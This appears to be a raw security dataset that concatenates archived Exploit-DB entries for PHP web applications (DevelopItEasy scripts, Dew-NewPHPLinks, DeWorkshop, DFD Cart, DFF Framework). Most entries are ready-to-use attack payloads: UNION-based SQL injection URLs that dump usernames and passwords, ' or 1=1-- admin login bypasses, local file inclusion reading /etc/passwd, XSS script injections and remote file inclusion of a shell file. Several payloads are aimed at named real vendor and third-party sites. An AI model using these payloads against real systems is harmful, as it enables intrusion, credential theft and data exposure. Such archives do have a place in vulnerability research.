deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7013
Description: DevelopItEasy Events Calendar 1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-11-06
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : Events Calendar v 1.2 

<<->> script site : www.developiteasy.com/events-calendar-v-1.2-p-65.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13               



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

 >>>> www.site.me/calendar_details.php?id=-26+union+select+0,0,concat(user_name,0x3a,user_pass),0,0,0,0,0,0,0+from+login--
      
 >>> demo ::: www.developiteasy.com/events_calendar/calendar_details.php?id=-26+union+select+0,0,concat(user_name,0x3a,user_pass),0,0,0,0,0,0,0+from+login--


<<->> Exploit <<->> bypass <<->>
 
        >>>> www.developiteasy.com/events_calendar/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )


=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06]
Exploit-DB #7015
Description: DevelopItEasy Membership System 1.3 - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-06
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : Membership System V1.3 

<<->> script site : www.developiteasy.com/membership-system-v1.3-p-66.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13              



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit <<->> bypass <<->>
 
        >>>> www.developiteasy.com/membership_system/customer_login.php
        
        >>> user : cyb3r@1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r@1st ' or ' 1=1--     ( or u can use ' or 1=1-- )


<<->> Exploit <<->> bypass <<->> in admin panel 
       
        >>>> www.developiteasy.com/membership_system/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06]
Exploit-DB #7014
Description: DevelopItEasy News And Article System 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-06
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : News And Article System v1.4

<<->> script site : www.developiteasy.com/news-and-article-system-v1.4-p-63.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13              



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit <<->>
         
        >>>> www.site.com/article_details.php?aid=[sql]
 

<<->> Exploit <<->> bypass <<->> in admin panel 
       
        >>>> www.developiteasy.com/article_system/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06]
Exploit-DB #7016
Description: DevelopItEasy Photo Gallery 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-06
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : www.tryag.cc/cc

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================


<<->> script      : Photo Gallery v1.2

<<->> script site : www.developiteasy.com/photo-gallery-v1.2-p-62.html?cPath=58&osCsid=7sanrl2anes1t050jhc6ivnt13              



=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit <<->>
         
        >>>> www.site.com/gallery_category.php?cat_id=[sql]
        >>>> www.site.com/gallery_photo.php?photo_id=[sql]


<<->> Exploit <<->> bypass <<->> in admin panel 
       
        >>>> www.developiteasy.com/photogallery/admin
        
        >>> user : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )
        
        >>> pass : cyb3r-1st ' or ' 1=1--     ( or u can use ' or 1=1-- )

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================


<<->> All freinds and all muslims

# milw0rm.com [2008-11-06]
Exploit-DB #13827
Description: Development Site Professional Liberal - Company Institutional SQL Injection
Type: webapps
Platform: php
Date: 2010-06-11
Author: L0rd CrusAd3r

Exploit:
Vendor url:http://www.mformula.com.br/
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW & AH members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

* Development Site Professional Liberal - Company Institutional SQL
Injection Vulnerability *

Resources and Advantages
Better cost-benefit of the market
Internal system for total administration of the site
Available site in the languages Portuguese, Español, English and Japanese
Property Management
Management Clients
Support for Sale and Rent
Unlimited Publication of Photos for Property
RSS/XML feed
Optimization in search engines
SiteMap Google, Yahoo and Bing
Supported to any type of personalized option (Color, Size, Type, etc)
Personalization of the layout, colors and texts of the site in agreement
your mark
Reports detailed on the site
Support via HelpDesk integrated in the Administration of your site
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/extrapage.php?cat_id=[sqli]

# 0day n0 m0re #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #31112
Description: DevTracker Module For bcoos 1.1.11 and E-xoops 1.0.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-04
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/27619/info

DevTracker module for bcoos and E-xoops is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues affect the following versions:

bcoos 1.1.11 (and earlier) with DevTracker 3.0
E-xoops 1.0.8 (and earlier) with DevTracker v0.20

Other versions may also be vulnerable. 

http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priority&direction=ASCquot;><script>alert()</script> 
http://www.example.com/modules/devtracker/index.php?proj_id=1&order_by=priorityquot;><script>alert()</script>&direction=ASC
Exploit-DB #8545
Description: Dew-NewPHPLinks 2.0 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-04-27
Author: d3v1l

Exploit:
[~]------------------------------------------------------------------------------------------------
[~] DEW-NEWphpLinks 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
[~]
[~] http://www.dew-code.com
[~]  
[~] 
[~] -----------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 25.04.2009
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members(https://security-shell.ws/forum.php)-(http://security-sh3ll.blogspot.com)
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------
[~] Exploit :- LFI - index.php?show=
[~]
[~] http://site.com/index.php?show=../../../../../../etc/passwd%00
[~]  
[~] Ex :-
[~]
[~] http://www.customprintedsweatshirts.com/links/index.php?show=../../../../../../etc/passwd%00  
[~] http://directory.custom-printed-t-shirts.com/index.php?show=../../../../../../etc/passwd%00
[~]-------------------------------------------------------------------------------------------------
[~] XSS on search module works fine on ALL version
[~]  
[~] Ex :- XSS - index.php?PID=
[~] 
[~] http://directory.custom-printed-t-shirts.com/index.php?PID="><script>alert("test")</script>
[~] http://www.customprintedsweatshirts.com/links/index.php?PID="><script>alert("test")</script>
[~]-------------------------------------------------------------------------------------------------

# milw0rm.com [2009-04-27]
Exploit-DB #16122
Description: Dew-NewPHPLinks 2.1b - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-06
Author: AtT4CKxT3rR0r1ST

Exploit:
Dew-NewPHPLinks v.2.1b (index.php) Sql Injection Vulnerability
======================================================================

######################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.dew-code.com/
.:. Dork           : "Powered By Dew-NewPHPLinks v.2.1b" 
.:. Special Gr34T$ T0 ZaIdOoHxHaCkEr

######################################################################

===[ Exploit ]===
First:
=======
www.site.com/index.php?PID=9999[Sql Injection]

www.site.com/index.php?PID=9999+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user()),2

Second:
=======
Bypass join Control Admin 
Go to Control Admin [www.site.com/admin/] Dont Ask Username & Password

######################################################################

txt
Exploit-DB #11795
Description: DewNewPHPLinks 2.1.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-18
Author: ITSecTeam

Exploit:
#########################local file include#################
Author: ItSecTeam

download from:http://www.dew-code.com/components/com_jooget/file/dew-newphplinks.v.2.1.0.1b.sef.zip

script:DewNewPHPLinks 2.1.0.1

*********************lfi*******************
vul1:/path/docs/add-cats.php
$lang=$_GET['lang'];
if($lang!='')
include ("../include/lang/$lang.php");
----------
vul2:/path/docs/dbupdate.php
$lang=$_GET['lang'];
if($lang!='')
include ("../include/lang/$lang.php");

--------------------------------------------

xpl lfi:/path/docs/add-cats.php?lang=[lfi]%00
xpl lfi:/path/docs/dbupdate.php?lang=[lfi]%00
########################

discovered by ahmadbady

########################
Exploit-DB #42504
Description: DeWorkshop 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-08-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: DeWorkshop 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 18.08.2017
# Vendor Homepage : https://sarutech.com/
# Software Link: https://codecanyon.net/item/deworkshop-auto-workshop-portal/20336737
# Demo: https://demo.sarutech.com/deworkshop/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands and upload arbitrary file....
#
# Vulnerable Source:
# .....................
# $eid = $_GET["id"];
# ......
# $folder = "img/users/";
# $extention = strrchr($_FILES['bgimg']['name'], ".");
# $bgimg = $_FILES['bgimg']['name'];
# //$bgimg = $new_name.'.jpg';
# $uploaddir = $folder . $bgimg;
# move_uploaded_file($_FILES['bgimg']['tmp_name'], $uploaddir);
# .....................
# 	
# Proof of Concept:
# 
# Customer profile picture arbitrary file can be uploaded ..
# 
# http://localhost/[PATH]/customerupdate.php?id=1
# http://localhost/[PATH]/img/users/[FILE].php
# 
#####
Exploit-DB #42446
Description: DeWorkshop 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-11
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: De-Workshop - Auto Workshop Portal 1.0 - SQL Injection
# Dork: N/A
# Date: 11.08.2017
# Vendor Homepage : https://sarutech.com/
# Software Link: https://codecanyon.net/item/deworkshop-auto-workshop-portal/20336737
# Demo: https://demo.sarutech.com/deworkshop/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an technician users to inject sql commands....
#
# Vulnerable Source:
# .....................
# $customer = getCustomer($_GET['id']);
# ?>
# ....
# $ddaa = $pdo->query("SELECT * FROM vehicle WHERE customer='".$_GET['id']."' order by id desc");
# .....................
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/vehicleadd.php?id=[SQL]
# -2'++UNION(SELECT+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e), 0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129)--+-
# 
# http://localhost/[PATH]/customerpage.php?id=[SQL]
# 
# http://localhost/[PATH]/fileadd.php?id=[SQL]
# 
# http://localhost/[PATH]/email.php?id=[SQL]
# 
# Etc...
# # # # #
Exploit-DB #4451
Description: DFD Cart 1.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-09-24
Author: BiNgZa

Exploit:
DFD Cart 1.1 Multiple Remote File Inclusion Vulnerabilities

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/product.control.config.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/product.control.config.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 32
Lines:

----------------------------------------------

require ("".$set_depth."app.lib/product.control/core.php/functions.php");


----------------------------------------------

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 179
Lines:

----------------------------------------------
$category_html = 'form_select';
require ("".$set_depth."app.lib/product.control/core.php/category.list.php");
?>

----------------------------------------------

Vulnerability Type: Remote File Inclusion
Vulnerable file: /dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php
Exploit URL: http://localhost/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.php?set_depth=http://localhost/shell.txt?
Method: get
Register_globals: On
Vulnerable variable: set_depth
Line number: 154
Lines:

----------------------------------------------
$category_html = 'form_select';
require ("".$set_depth."app.lib/product.control/core.php/category.list.php");
?>

----------------------------------------------
Multiple Remote Vulnerabilities

GrEeTs To sHaDoW sEcUrItY TeAm & str0ke

FoUnD By BiNgZa

DoRk: :(

shadowcrew@hotmail.co.uk

http://shadow.wizhoo.com/

# milw0rm.com [2007-09-24]
Exploit-DB #6700
Description: DFF PHP Framework API - 'Data Feed File' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-08
Author: GoLd_M

Exploit:
# DFF PHP Framework API (Data Feed File) Multiple Inclusion Vulnerabilities
# Script :http://opensource.datafeedfile.com/download/DFF_PHP_FrameworkAPI-latest.zip
# Exploits :
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=
#         /DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=
# Tryag.cc/cc

# milw0rm.com [2008-10-08]